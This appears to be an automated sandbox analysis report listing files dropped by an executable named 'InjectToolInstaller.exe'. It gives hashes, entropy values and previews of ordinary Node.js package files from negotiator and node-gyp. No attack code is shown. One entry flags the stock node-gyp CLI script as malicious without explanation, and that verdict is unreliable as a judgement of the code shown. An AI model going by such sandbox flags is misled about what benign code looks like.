Preview:	0.6.3 / 2022-01-22.==================.. * Revert "Lazy-load modules from main entry point"..0.6.2 / 2019-04-29.==================.. * Fix sorting charset, encoding, and language with extra parameters..0.6.1 / 2016-05-02.==================.. * perf: improve `Accept` parsing speed. * perf: improve `Accept-Charset` parsing speed. * perf: improve `Accept-Encoding` parsing speed. * perf: improve `Accept-Language` parsing speed..0.6.0 / 2015-09-29.==================.. * Fix including type extensions in parameters in `Accept` parsing. * Fix parsing `Accept` parameters with quoted equals. * Fix parsing `Accept` parameters with quoted semicolons. * Lazy-load modules from main entry point. * perf: delay type concatenation until needed. * perf: enable strict mode. * perf: hoist regular expressions. * perf: remove closures getting spec properties. * perf: remove a closure from media type parsing. * perf: remove property delete from media type parsing..0.5.3 / 2015-05-10.===========

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\negotiator\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1177
Entropy (8bit):	5.190424654953496
Encrypted:	false
SSDEEP:	24:5HsZxQiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:+xQiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	6417A862A5E35C17C904D9DDA2CBD499
SHA1:	73FEC64FD8A5CEDDBF65F705987A547C3678D981
SHA-256:	553D4D20029A24E315B428A1A54A9E109EAA340F2E958A4F50A92362C2C4070B
SHA-512:	715C695587A028733A092DB12C8CF2986AC745D2D2F958961DAA8F9B9457744BE63C9521C0D34B594BB4E0884A00C5E41E19BEB9666E426511863C2D8241C334
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2012-2014 Federico Romero.Copyright (c) 2012-2014 Isaac Z. Schlueter.Copyright (c) 2014-2015 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGE

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\negotiator\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2451
Entropy (8bit):	4.818099111813789
Encrypted:	false
SSDEEP:	48:Uqxr13RsVlW7GA0GCGbhkX7diNde53AOaaHeF3fPgGdjR22Y8UflX48w:psTWmKkEVtIpa
MD5:	279D02856C1815CE3B6745EE234A91AE
SHA1:	D2DCE41C415F88B5BB49939290D542BEF8EC598D
SHA-256:	4F9279BCFFC74199C671739F2D0E91FE5176A7F7E4683CA59809A50463A842BD
SHA-512:	3751B886D3F78D0BE1E5010B6086B0DF1175F85D52A75A11E9F09232BC35EDDB8E92DEE4F219B705F98A23C05EAEBB79C414D4F57C9FC7EF1E3E831E41E1BCAF
Malicious:	false
Preview:	/!. negotiator. * Copyright(c) 2012 Federico Romero. * Copyright(c) 2012-2014 Isaac Z. Schlueter. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';..var preferredCharsets = require('./lib/charset').var preferredEncodings = require('./lib/encoding').var preferredLanguages = require('./lib/language').var preferredMediaTypes = require('./lib/mediaType')../. Module exports.. * @public. /..module.exports = Negotiator;.module.exports.Negotiator = Negotiator;../. Create a Negotiator instance from a request.. * @param {object} request. * @public. */..function Negotiator(request) {. if (!(this instanceof Negotiator)) {. return new Negotiator(request);. }.. this.request = request;.}..Negotiator.prototype.charset = function charset(available) {. var set = this.charsets(available);. return set && set[0];.};..Negotiator.prototype.charsets = function charsets(available) {. return preferredCharsets(this.request.headers['accept-charset'], available)

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\negotiator\lib\charset.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3081
Entropy (8bit):	4.842295755350585
Encrypted:	false
SSDEEP:	96:JMZbj90LFCq7EfTb+X2d2/2O9T1d0/xKUNYbd3REslT:JMZmLcqAf+X2d2/9TzoxKCYTJ
MD5:	7977A65B1542FA8CE9650E58607F4B07
SHA1:	BF9F25A7BF6DC2176B70BC9DA04FC162BDFBF4C4
SHA-256:	E6522A2DF58F21A6CDF8D146F7E85B9A49BCAF68B813DEC15068A8E84FC582C3
SHA-512:	6C5B88F2F56099018F13E40F0C675352271E63E928B03CD25630BDA95059E5C289C78752947DC29E309E66264173D6CED7CC63FCBF0518E955BA12A2BABF5396
Malicious:	false
Preview:	/*. negotiator. * Copyright(c) 2012 Isaac Z. Schlueter. * Copyright(c) 2014 Federico Romero. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..module.exports = preferredCharsets;.module.exports.preferredCharsets = preferredCharsets;../. Module variables.. * @private. /..var simpleCharsetRegExp = /^\s([^\s;]+)\s(?:;(.))?$/;../*. Parse the Accept-Charset header.. * @private. /..function parseAcceptCharset(accept) {. var accepts = accept.split(',');.. for (var i = 0, j = 0; i < accepts.length; i++) {. var charset = parseCharset(accepts[i].trim(), i);.. if (charset) {. accepts[j++] = charset;. }. }.. // trim accepts. accepts.length = j;.. return accepts;.}../. Parse a charset from the Accept-Charset header.. * @private. */..function parseCharset(str, i) {. var match = simpleCharsetRegExp.exec(str);. if (!match) return null;.. var charset = match[1];. var q = 1;. if (matc

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\negotiator\lib\encoding.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3506
Entropy (8bit):	4.858041738762427
Encrypted:	false
SSDEEP:	96:Jz9lluqA5w1W3OFdaxv7VTbYxs2M2vKDgB1dd/xK3viNQAbd3RBslT:Jz9PuFw1cO2RBYxs2M3DgBzlxKfQ3aJ
MD5:	E03DD226452C58CE083AB4468851F0B1
SHA1:	6066E153BCAC0D060CD2E475DDAD0E239422AA0D
SHA-256:	35421DC78D3C1B608922427BBD6E524518168621FF1A44919FC591CA297E813C
SHA-512:	F1966A345F3380075325952275A6AC0668FEA52AE4CAAD431D8AB9068AFE1A3C17B62D2BE0DD9E19B48D843ECF3A58F94DBD52240A69234A2B232044468CD86F
Malicious:	false
Preview:	/*. negotiator. * Copyright(c) 2012 Isaac Z. Schlueter. * Copyright(c) 2014 Federico Romero. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..module.exports = preferredEncodings;.module.exports.preferredEncodings = preferredEncodings;../. Module variables.. * @private. /..var simpleEncodingRegExp = /^\s([^\s;]+)\s(?:;(.))?$/;../*. Parse the Accept-Encoding header.. * @private. /..function parseAcceptEncoding(accept) {. var accepts = accept.split(',');. var hasIdentity = false;. var minQuality = 1;.. for (var i = 0, j = 0; i < accepts.length; i++) {. var encoding = parseEncoding(accepts[i].trim(), i);.. if (encoding) {. accepts[j++] = encoding;. hasIdentity = hasIdentity \|\| specify('identity', encoding);. minQuality = Math.min(minQuality, encoding.q \|\| 1);. }. }.. if (!hasIdentity) {. /. * If identity doesn't explicitly appear in the accept-encoding header,.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\negotiator\lib\language.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3409
Entropy (8bit):	4.93193307417238
Encrypted:	false
SSDEEP:	96:JSD+3n3BTQbFSv72TbQOZS2cueSKyeT2vZ3Z1d2/xKaNrMbd3RgQslT:JSDQn9Qb+UQOZS2SSK5Tg3ZzaxKorMkt
MD5:	F10E434AE4EED2D3D46FF47582ED9938
SHA1:	248BAA661B5CD4A4368E1DE987A5A911636C41AB
SHA-256:	4AEBB44DA06094F2D56F0B20B4FBDD542CDA00A4C9295E10BBE55203701C9024
SHA-512:	D7BAC6E2CE28525D67E0B8EFF4E2FE1868D11EC69F98C310C1E6258504BCDEFCECACE967A7721FDEABD93AA18D0D40D1BFE54DCEDF0991ED12119AF8BDE74490
Malicious:	false
Preview:	/*. negotiator. * Copyright(c) 2012 Isaac Z. Schlueter. * Copyright(c) 2014 Federico Romero. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..module.exports = preferredLanguages;.module.exports.preferredLanguages = preferredLanguages;../. Module variables.. * @private. /..var simpleLanguageRegExp = /^\s([^\s\-;]+)(?:-([^\s;]+))?\s(?:;(.))?$/;../*. Parse the Accept-Language header.. * @private. /..function parseAcceptLanguage(accept) {. var accepts = accept.split(',');.. for (var i = 0, j = 0; i < accepts.length; i++) {. var language = parseLanguage(accepts[i].trim(), i);.. if (language) {. accepts[j++] = language;. }. }.. // trim accepts. accepts.length = j;.. return accepts;.}../. Parse a language from the Accept-Language header.. * @private. */..function parseLanguage(str, i) {. var match = simpleLanguageRegExp.exec(str);. if (!match) return null;.. var prefix = mat

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\negotiator\lib\mediaType.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5358
Entropy (8bit):	4.867691098214956
Encrypted:	false
SSDEEP:	96:JYFkWOwcE7FtJqyWGYYIb7wTblzuXrDciMaTmgI8CY1dzM/xKSNKbd3RFUslgXLl:JYFkW97RWtYIb+lzuXrDcfwmavzzgxKY
MD5:	0FDAA0ED7CAB2CE5FCBD7B361A85892C
SHA1:	9FE7D1F6570E870BF5A90ADA7BA1A7A53480F5CC
SHA-256:	0DAB239C924FA4D5F823548E25DC9F10315BF490B821827B640318B7AA200577
SHA-512:	44BFBECB293939BC5DF1B98C483FC01F36640DE15225D936B919F733A202CCDDA2F727F5543853DE6E541157BDDE8BF57F9CFC918E0EAD1B990569E1779A7BA7
Malicious:	false
Preview:	/*. negotiator. * Copyright(c) 2012 Isaac Z. Schlueter. * Copyright(c) 2014 Federico Romero. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..module.exports = preferredMediaTypes;.module.exports.preferredMediaTypes = preferredMediaTypes;../. Module variables.. * @private. /..var simpleMediaTypeRegExp = /^\s([^\s\/;]+)\/([^;\s]+)\s(?:;(.))?$/;../*. Parse the Accept header.. * @private. /..function parseAccept(accept) {. var accepts = splitMediaTypes(accept);.. for (var i = 0, j = 0; i < accepts.length; i++) {. var mediaType = parseMediaType(accepts[i].trim(), i);.. if (mediaType) {. accepts[j++] = mediaType;. }. }.. // trim accepts. accepts.length = j;.. return accepts;.}../. Parse a media type from the Accept header.. * @private. */..function parseMediaType(str, i) {. var match = simpleMediaTypeRegExp.exec(str);. if (!match) return null;.. var params = Object.create(n

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\negotiator\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	993
Entropy (8bit):	4.782116934931483
Encrypted:	false
SSDEEP:	12:dc6V1CxR7CB6gi599qPdreLlc6Upu1ZHFPtYuNZWiTjkQfcGa3gPGWdVSYMiP095:dr1CxVW4y9I97YuNZWixTB0xLt
MD5:	5D2BC8AE77831203C6D0CE3A17E599CF
SHA1:	3C1B22E6ECAE04B514912326957E6A205B015098
SHA-256:	8672E91F7395CE51EC789D883D7F7D872A40847BB83A6A3F89C3D1DED39E55D9
SHA-512:	C22AD9D7E1C091B26CA5ABCB7F6E7338EB79BD36E1228DAD9EC6903C9922A2451F518C21507CC82DCCD69BE13132368DE7EFCAD1DE7BA56270C7997DECF3A1AA
Malicious:	false
Preview:	{. "name": "negotiator",. "description": "HTTP content negotiation",. "version": "0.6.3",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Federico Romero <federico.romero@outboxlabs.com>",. "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)". ],. "license": "MIT",. "keywords": [. "http",. "content negotiation",. "accept",. "accept-language",. "accept-encoding",. "accept-charset". ],. "repository": "jshttp/negotiator",. "devDependencies": {. "eslint": "7.32.0",. "eslint-plugin-markdown": "2.2.1",. "mocha": "9.1.3",. "nyc": "15.1.0". },. "files": [. "lib/",. "HISTORY.md",. "LICENSE",. "index.js",. "README.md". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --check-leaks --bail test/",. "test-ci": "nyc --reporter=lcov --reporter=text npm test",. "test-cov": "nyc --reporter=html --reporter=text npm test". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\CONTRIBUTING.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	4.568999414482016
Encrypted:	false
SSDEEP:	24:yCXlWFrFF5wR9mO04Jm6unbvCFKFtW68NL1Yh9ev:rVqUR9u486ovC8Xl8No9ev
MD5:	FBFC75DE637244191E8A1B9C63845D8D
SHA1:	CF1AD7970DBB74D79E739821E6FA4A32C40A6AAA
SHA-256:	4C74E3D427FB2071182307B6850F686082D0BB0AB2D691BDBB8939F731A8C9CB
SHA-512:	A7CD9093299909D74A7EEF1746B792FA08E575585F27F2B8631219418EBD8C88FD96215C86023BAD29CC4E52FC23EFE4F1801453E2ACF25B59DA5C169B6DB5CB
Malicious:	false
Preview:	# Contributing to node-gyp..## Code of Conduct..Please read the.[Code of Conduct](https://github.com/nodejs/admin/blob/master/CODE_OF_CONDUCT.md).which explains the minimum behavior expectations for node-gyp contributors...<a id="developers-certificate-of-origin"></a>.## Developer's Certificate of Origin 1.1..By making a contribution to this project, I certify that:..* (a) The contribution was created in whole or in part by me and I. have the right to submit it under the open source license. indicated in the file; or..* (b) The contribution is based upon previous work that, to the best. of my knowledge, is covered under an appropriate open source. license and I have the right under that license to submit that. work with modifications, whether created in whole or in part. by me, under the same open source license (unless I am. permitted to submit under a different license), as indicated. in the file; or..* (c) The contribution was provided directly to me by some other. person w

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\addon.gypi

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5940
Entropy (8bit):	4.523787172512809
Encrypted:	false
SSDEEP:	96:GsKiUghBC83t0ugRJH2jCcpUdjSmrwiftfPdJ2w8+hZjPtLPgSUHeFqCshOMNrST:GVs50ugPWNpUX0iftfPdJ2w8+eHdCshs
MD5:	A6B18B5ADBEDE10D0A47395D06723563
SHA1:	EE24E603A21439865439D5296B82818DD584D2D4
SHA-256:	BEA608AF5DF33C6EF5677C7B0EC0909456683D0B57D5AD84C036AC5BEA4E3BAD
SHA-512:	A7CC45931D68A4E316CDB35AC3A6432E33607C3EF3BC7457384418AF2748629CCEB1DB82EF68F534E4B322AD2F41C6A184129E4D5019E530AE95F954C2F0655F
Malicious:	false
Preview:	{. 'variables' : {. 'node_engine_include_dir%': 'deps/v8/include',. 'node_host_binary%': 'node',. 'node_with_ltcg%': 'true',. },. 'target_defaults': {. 'type': 'loadable_module',. 'win_delay_load_hook': 'true',. 'product_prefix': '',.. 'conditions': [. [ 'node_engine=="chakracore"', {. 'variables': {. 'node_engine_include_dir%': 'deps/chakrashim/include'. },. }]. ],.. 'include_dirs': [. '<(node_root_dir)/include/node',. '<(node_root_dir)/src',. '<(node_root_dir)/deps/openssl/config',. '<(node_root_dir)/deps/openssl/openssl/include',. '<(node_root_dir)/deps/uv/include',. '<(node_root_dir)/deps/zlib',. '<(node_root_dir)/<(node_engine_include_dir)'. ],. 'defines!': [. 'BUILDING_UV_SHARED=1', # Inherited from common.gypi.. 'BUILDING_V8_SHARED=1', # Inherited from common.gypi.. ],. 'defines': [. 'NODE_GYP_MODULE_NAME=>(_target_name)',. 'USING_UV_SHARED=1',.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\bin\node-gyp.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	a /usr/bin/env node script, ASCII text executable
Category:	dropped
Size (bytes):	3506
Entropy (8bit):	4.810682225535127
Encrypted:	false
SSDEEP:	96:F4lNWrcLUZeXkHApbzD2Da+aUAkpk0TEMe:Fm92bObfGa+VrHe
MD5:	811B4D5804C099AA518A886C5440BC18
SHA1:	EB454E91202F8709D482CB009202BD6BA3F29268
SHA-256:	C1E7ADD754A692AB1FCAC69577DAFEB2E5F104AD262E02BE9C8C8A84EEA302C7
SHA-512:	F49236F04E288E757AF47D5E2138E21BCC357287B295CE1CDD5FD42585F17344725110E3F5CD54EB97F2B80B7F46D5AB3229409EBD8C69E176D1BF2C70869422
Malicious:	true
Preview:	#!/usr/bin/env node..'use strict'..process.title = 'node-gyp'..const envPaths = require('env-paths').const gyp = require('../').const log = require('npmlog').const os = require('os')../*. Process and execute the selected commands.. */..const prog = gyp().var completed = false.prog.parseArgv(process.argv).prog.devDir = prog.opts.devdir..var homeDir = os.homedir().if (prog.devDir) {. prog.devDir = prog.devDir.replace(/^~/, homeDir).} else if (homeDir) {. prog.devDir = envPaths('node-gyp', { suffix: '' }).cache.} else {. throw new Error(. "node-gyp requires that the user's home directory is specified " +. 'in either of the environmental variables HOME or USERPROFILE. ' +. 'Overide with: --devdir /path/to/.node-gyp').}..if (prog.todo.length === 0) {. if (~process.argv.indexOf('-v') \|\| ~process.argv.indexOf('--version')) {. console.log('v%s', prog.version). } else {. console.log('%s', prog.usage()). }. process.exit(0).}..log.info('it worked if it ends with', 'ok').l

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\fixtures\VS_2017_BuildTools_minimal.txt

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9323
Entropy (8bit):	4.801543925660499
Encrypted:	false
SSDEEP:	96:5Yx6Zu61dIFgqcFy2TTEEwEjNaHzNpNe2JlSkAjZgnzBWrcHAepAHq9eaaVViJRM:lPUwpNd
MD5:	A35B97C860E9719D51C30D0CCBB2A652
SHA1:	038D3F3900FF109684C23C9CD9A0DE7A2EA64782
SHA-256:	C9B11D92154EA6A2C2AD1E7B52275FDB2DCE8E9E3C41A4BAD50BE46ECD94D67F
SHA-512:	4A69B47F23CA74924CD8920B5964E2A97B9DBB7D4AA8FD4BDC2E640FA94E9FFC7AC8397962A3A3189C94EDEDAB8CE91DAB55F4293811BB9B9DACD460DDDF90FC
Malicious:	false
Preview:	[{"path":"C:\\Program Files (x86)\\Microsoft Visual Studio\\2017\\BuildTools","version":"15.9.28307.665","packages":["Microsoft.VisualStudio.Product.BuildTools","Microsoft.VisualStudio.Component.VC.CoreIde","Microsoft.VisualStudio.VC.Ide.Pro","Microsoft.VisualStudio.VC.Ide.Pro.Resources","Microsoft.VisualStudio.VC.Templates.Pro","Microsoft.VisualStudio.VC.Templates.Pro.Resources","Microsoft.VisualStudio.VC.Items.Pro","Microsoft.VisualStudio.PackageGroup.VC.CoreIDE.Reduced","Microsoft.VisualStudio.VC.Ide.MDD","Microsoft.VisualStudio.VC.Ide.x64","Microsoft.VisualStudio.PackageGroup.VC.CoreIDE.Express","Microsoft.VisualStudio.PackageGroup.Debugger.Script","Microsoft.VisualStudio.JavaScript.LanguageService","Microsoft.VisualStudio.JavaScript.LanguageService.Resources","Microsoft.VisualStudio.Debugger.Script.Msi","Microsoft.VisualStudio.Debugger.Script","Microsoft.VisualStudio.Debugger.Script","Microsoft.VisualStudio.Debugger.Script.Resources","Microsoft.VisualStudio.Debugger.Script.Resourc

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\fixtures\VS_2017_Community_workload.txt

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18172
Entropy (8bit):	4.818346282576552
Encrypted:	false
SSDEEP:	96:5M8SvI9oPjKnijWf43Q5OsAjcyWxjE8tnlTkGG9q1Cf0bmaDfyGJPDQ2lEGCxk2t:krh3Zgske4X8
MD5:	7638FC8F9013B82D85D68B8812E3759E
SHA1:	BE291356364E4EAF1F4D983BC3BB85B44B68ADB6
SHA-256:	7209CB33701E0A8ADEE89A1EFAFF153C0F09657D2F6F0C6A965D6F34F06A81F4
SHA-512:	8CFE0E072A9317D68E6AF1E067EB45F6BC0493F71EA7341476BF325532C98166AE0C19DF4C6EAD8DF4B2A7D58F289B4987C32909188A7DC7B07DE38FAA2FE596
Malicious:	false
Preview:	[{"path":"C:\\Program Files (x86)\\Microsoft Visual Studio\\2017\\Community","version":"15.9.28307.665","packages":["Microsoft.VisualStudio.Component.Windows10SDK.IpOverUsb","Win10SDK_IpOverUsb","Microsoft.VisualStudio.Component.VC.ATL.ARM64","Microsoft.VisualCpp.ATL.ARM64","Microsoft.VisualStudio.Component.VC.ATL.ARM","Microsoft.VisualCpp.ATL.ARM","Microsoft.VisualStudio.Component.VC.Tools.ARM","Microsoft.VisualCpp.Tools.HostX64.TargetX86.Resources","Microsoft.VisualStudio.Graphics.Analyzer.Resources","Microsoft.Icecap.Analysis","Microsoft.VisualCpp.CRT.Redist.arm.OneCore.Desktop","Microsoft.VisualCpp.CRT.arm.Store","Microsoft.VisualCpp.CRT.arm.Desktop","Microsoft.VisualStudio.PackageGroup.VC.Tools.x64.ARM","Microsoft.VisualCpp.Premium.Tools.Hostx86.Targetarm","Microsoft.VisualCpp.Premium.Tools.HostX86.TargetARM.Resources","Microsoft.VisualCpp.Premium.Tools.HostX64.TargetARM","Microsoft.VisualCpp.Premium.Tools.HostX64.TargetARM.Resources","Microsoft.VisualCpp.Premium.Tools.ARM.Base","

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\fixtures\VS_2017_Express.txt

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16656
Entropy (8bit):	4.797704256848128
Encrypted:	false
SSDEEP:	96:523HK3OdZuyWxmE8t2xJocTbWxkKSnaijluWS961qcFy2TTEEU48EbswEjNaHAwP:jG6ss22PuA
MD5:	14950FA007C1C4A41AE393739EB2F1BB
SHA1:	A547374B229AFD80C3413303C088C9EB75620648
SHA-256:	5182F553CAB5A4DF2EA940946C373E17A71228F48CF6C7211E9864CC91766319
SHA-512:	1A768D9E2FD8711D9B5C79E53F66D91BB5CAC70F8262C1ADED8FB20B1EEC83C83EF47A9192FFFE37BA6F18C839CD48D458219BA379FA980C21634CE3391BD9F8
Malicious:	false
Preview:	[{"path":"C:\\Program Files (x86)\\Microsoft Visual Studio\\2017\\WDExpress","version":"15.9.28307.858","packages":["Microsoft.VisualStudio.Product.WDExpress","Microsoft.VisualStudio.Workload.WDExpress","Microsoft.VisualStudio.Component.Windows10SDK.17763","MLGen","Win10SDK_10.0.17763","Microsoft.VisualStudio.Component.Windows10SDK.14393","Win10SDK_10.0.14393.795","Microsoft.VisualStudio.VC.Items.Pro","Microsoft.VisualStudio.VC.Ide.Pro","Microsoft.VisualStudio.VC.Ide.Pro.Resources","Microsoft.VisualStudio.Component.VC.Tools.ARM64","Microsoft.VisualStudio.VC.MSBuild.Arm64","Microsoft.VisualCpp.CRT.Redist.ARM64.OneCore.Desktop","Microsoft.VisualCpp.CRT.Redist.ARM64","Microsoft.VisualCpp.CRT.ARM64.OneCore.Desktop","Microsoft.VisualCpp.CRT.ARM64.Store","Microsoft.VisualCpp.CRT.ARM64.Desktop","Microsoft.VisualCpp.Tools.Hostx86.Targetarm64","Microsoft.VisualCpp.VCTip.hostX86.targetARM64","Microsoft.VisualCpp.Tools.HostX86.TargetARM64.Resources","Microsoft.VisualStudio.Component.VC.Tools.ARM"

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\fixtures\VS_2017_Unusable.txt

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3941
Entropy (8bit):	4.898489360462589
Encrypted:	false
SSDEEP:	96:5txH8LDgHfIPtlSI/PAjnng7Mj0/Y0EYWxkKSukPPS0jzk/D5CXw2vbAYVIVvoo5:1pNGg
MD5:	281B9376BD5B5E37DF6246C4FEFB97BF
SHA1:	4A7414FA094B9A93F29823CF0DD81AECC03BDD31
SHA-256:	7DED03374FEC8EBA1193E50E53B910B5F833BC682C55E7D8E9856E2048FE922A
SHA-512:	E3AE25B04A93F173ABB96625D9DB8308141F3A829AADA1E588F05FA91474BC84D4BBA5182EB64D78FA54BF62CDF3F9B8523A6B005DE54A2CFB3640D824F4DB8B
Malicious:	false
Preview:	[{"path":"C:\\Program Files (x86)\\Microsoft Visual Studio\\2017\\BuildToolsUnusable","version":"15.9.28307.665","packages":["Microsoft.VisualStudio.Product.BuildTools","Microsoft.VisualStudio.Component.Windows10SDK.17134","Win10SDK_10.0.17134","Microsoft.VisualStudio.Component.VC.Tools.x86.x64","Microsoft.VisualCpp.CodeAnalysis.Extensions","Microsoft.VisualCpp.CodeAnalysis.Extensions.X86","Microsoft.VisualCpp.CodeAnalysis.ConcurrencyCheck.X86","Microsoft.VisualCpp.CodeAnalysis.ConcurrencyCheck.X86.Resources","Microsoft.VisualCpp.CodeAnalysis.Extensions.X64","Microsoft.VisualCpp.CodeAnalysis.ConcurrencyCheck.X64","Microsoft.VisualCpp.CodeAnalysis.ConcurrencyCheck.X64.Resources","Microsoft.VisualStudio.Component.Static.Analysis.Tools","Microsoft.VisualStudio.StaticAnalysis","Microsoft.VisualStudio.StaticAnalysis.Resources","Microsoft.VisualCpp.Tools.HostX64.TargetX86","Microsoft.VisualCpp.VCTip.HostX64.TargetX86","Microsoft.VisualCpp.Tools.HostX64.TargetX86.Resources","Microsoft.VisualC

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\fixtures\VS_2019_BuildTools_minimal.txt

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10468
Entropy (8bit):	4.798045381614139
Encrypted:	false
SSDEEP:	96:5Wxx6Zu61dIFj5ZjjBBWKsl2i3Y12C89Se/gTTJqYrKlwIl8qFz5e/QQWeR8RRGQ:0sP2tQpNZ
MD5:	E12310C8AD851F4D48B20C3C9F315E99
SHA1:	D6440DE9D88B4655BBF92DE9CFB3D7B1FFD511FC
SHA-256:	F26D5BD1E0EDD7D7A77259A6B82C9EB1A24F198F877B941ECED9FBE27225E30D
SHA-512:	25B0C251E75AE69A05B812B0609C4531829EC84D6C0C67AFA2B0EF86CC542514DA821FA640F2C5CB243B9066D99B6293C85F2D1DD5D7231FB8D1AA2F26A3A6B7
Malicious:	false
Preview:	[{"path":"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools","version":"16.1.28922.388","packages":["Microsoft.VisualStudio.Product.BuildTools","Microsoft.VisualStudio.Component.VC.CoreIde","Microsoft.VisualStudio.VC.Ide.Pro","Microsoft.VisualStudio.VC.Ide.Pro.Resources","Microsoft.VisualStudio.VC.Templates.Pro","Microsoft.VisualStudio.VC.Templates.Pro.Resources","Microsoft.VisualStudio.VC.Items.Pro","Microsoft.VisualStudio.PackageGroup.VC.CoreIDE.Reduced","Microsoft.VisualStudio.VC.Ide.MDD","Microsoft.VisualStudio.PackageGroup.Core","Microsoft.VisualStudio.CodeSense.Community","Microsoft.VisualStudio.TestTools.TeamFoundationClient","Microsoft.PackageGroup.ClientDiagnostics","Microsoft.VisualStudio.AppResponsiveness","Microsoft.VisualStudio.AppResponsiveness.Targeted","Microsoft.VisualStudio.AppResponsiveness.Resources","Microsoft.VisualStudio.ClientDiagnostics","Microsoft.VisualStudio.ClientDiagnostics.Targeted","Microsoft.VisualStudio.ClientDiagnostics.Resources","Mi

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\node-gyp\test\fixtures\VS_2019_Community_workload.txt

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16624
Entropy (8bit):	4.796438377303922
Encrypted:	false
SSDEEP:	96:5axf4PWrkxmXR9sJPDQThYIlTuWS9Nrkh71W8LDgHfIPI/PAjnng7Mj0/Y0EYWxa:ghp2wFss1PYG0
MD5:	F821C9B404A043E51333EE37425E5515
SHA1:	C0079A3036FFB5382040C06CCEBCE97907406430
SHA-256:	FD29A69794E5B43DFBE966D3E037803DB5E58E1736C4FF7D60EC5DE72399E38C
SHA-512:	2F9B90FD3CBE26E137C7B00C1C649A5C2E568BAA896584F6B06FEBFEF5ED2B0CF0EF834BA02C5A64DA92782F9402771AC592C6395FF1238C6397547B3C41034B
Malicious:	false
